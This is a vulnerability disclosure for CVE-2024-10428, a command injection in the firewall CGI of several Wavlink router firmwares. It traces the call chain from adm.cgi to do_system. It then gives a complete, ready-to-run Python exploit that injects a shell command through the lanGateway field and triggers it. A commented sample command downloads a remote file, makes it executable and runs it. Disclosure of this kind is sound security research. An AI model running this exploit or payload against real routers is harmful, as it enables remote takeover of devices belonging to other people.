
CVE-ID 
CVE-2024-10428 

Credits 
Leipeng Ye (awindog) of DBappSecurity Stellar Lab 

Overview 
●​ Manufacturer's website:  

 ​ https://www.wavlink.com/en_us/index.html 

●​ Firmware download website:  

 ​ https://www.wavlink.com/en_us/firmware/details/130.html 

 ​ https://www.wavlink.com/en_us/firmware/details/45.html 

 ​ https://www.wavlink.com/en_us/firmware/details/46.html 

 ​  

Affected version 
WN530H4-WAVLINK_20220721 

WN530HG4-WAVLINK_20220809 

WN572HG3-WAVLINK_WO_20221028 

... 

Vulnerability details 
Take WN530H4-WAVLINK_20220721 firmware as an example. 

Backup Download Link: 
https://drive.google.com/file/d/16n2lvT0CjyECH7RDStvW7FIjE95vRdLy/view 

The command injection vulnerability exists in the firewall component. 

When firewall.cgi is called by the shell, the firewall_init function is 
executed 

https://www.wavlink.com/en_us/index.html
https://www.wavlink.com/en_us/firmware/details/130.html
https://www.wavlink.com/en_us/firmware/details/45.html
https://www.wavlink.com/en_us/firmware/details/46.html
https://drive.google.com/file/d/16n2lvT0CjyECH7RDStvW7FIjE95vRdLy/view


 

There is a call chain: firewall.cgi 
init->firewall_init()->iptablesAllFilterRun()->iptablesRemoteManagement
Run()->do_system(contrl_cmd) 

 

It can be seen that we can inject any command into dhcpGateway by controlling 
the value of OperationMode to "1" 

How to control dhcpGateway and OperationMode?  

After reversing adm.cgi in the firmware, it was found that the dhcpGateway can be 
set to a dangerous string through the page=wzdap function, and then the 
OperationMode can be set to "1" through the page=wzdgw function. 



 

 

How to finally execute firewall.cgi init? 

When cgi receives an ipv6 request from internet.cgi, it calls the set_ipv6 
function. 



 

Finally, the init_system restart command will be executed. 

In the init_system program, the following command is called after receiving the 
restart parameter from the command line,internet.cgi init is one of them. 

 

EXP 
import requests​
import sys​
#cmd="curl -o /tmp/k http://192.168.1.17:9998/re1&&chmod 755 
/tmp/k&&/tmp/k"​



if len(sys.argv)!=4:​
    print("Usage: python %s ip session \"command\""%sys.argv[0])​
    exit(0)​
​
ip= sys.argv[1]​
session= sys.argv[2]​
cmd= sys.argv[3]​
Head = {'Referer':'wifi.wavlink.com','Cookie': 'session=%s'%session}​
​
## set_cmd​
url = "http://%s/cgi-bin/adm.cgi"%ip​
Data = {"page":"wzdap","static_en":"1","lanGateway":";%s;"%cmd}​
response = requests.post(url,headers=Head,data=Data)​
print(response.text)​
print(response)​
​
## set OperationMode = "1"​
url = "http://%s/cgi-bin/adm.cgi"%ip​
Data = {"page":"wzdgw"}​
response = requests.post(url,headers=Head,data=Data)​
print(response.text)​
print(response)​
​
## call iptablesRemoteManagementRun to run cmd​
url = "http://%s/cgi-bin/internet.cgi"%ip​
Data = {"page":"ipv6","ipv6_opmode":"1"}​
response = requests.post(url,headers=Head,data=Data)​
print(response.text)​
print(response) 
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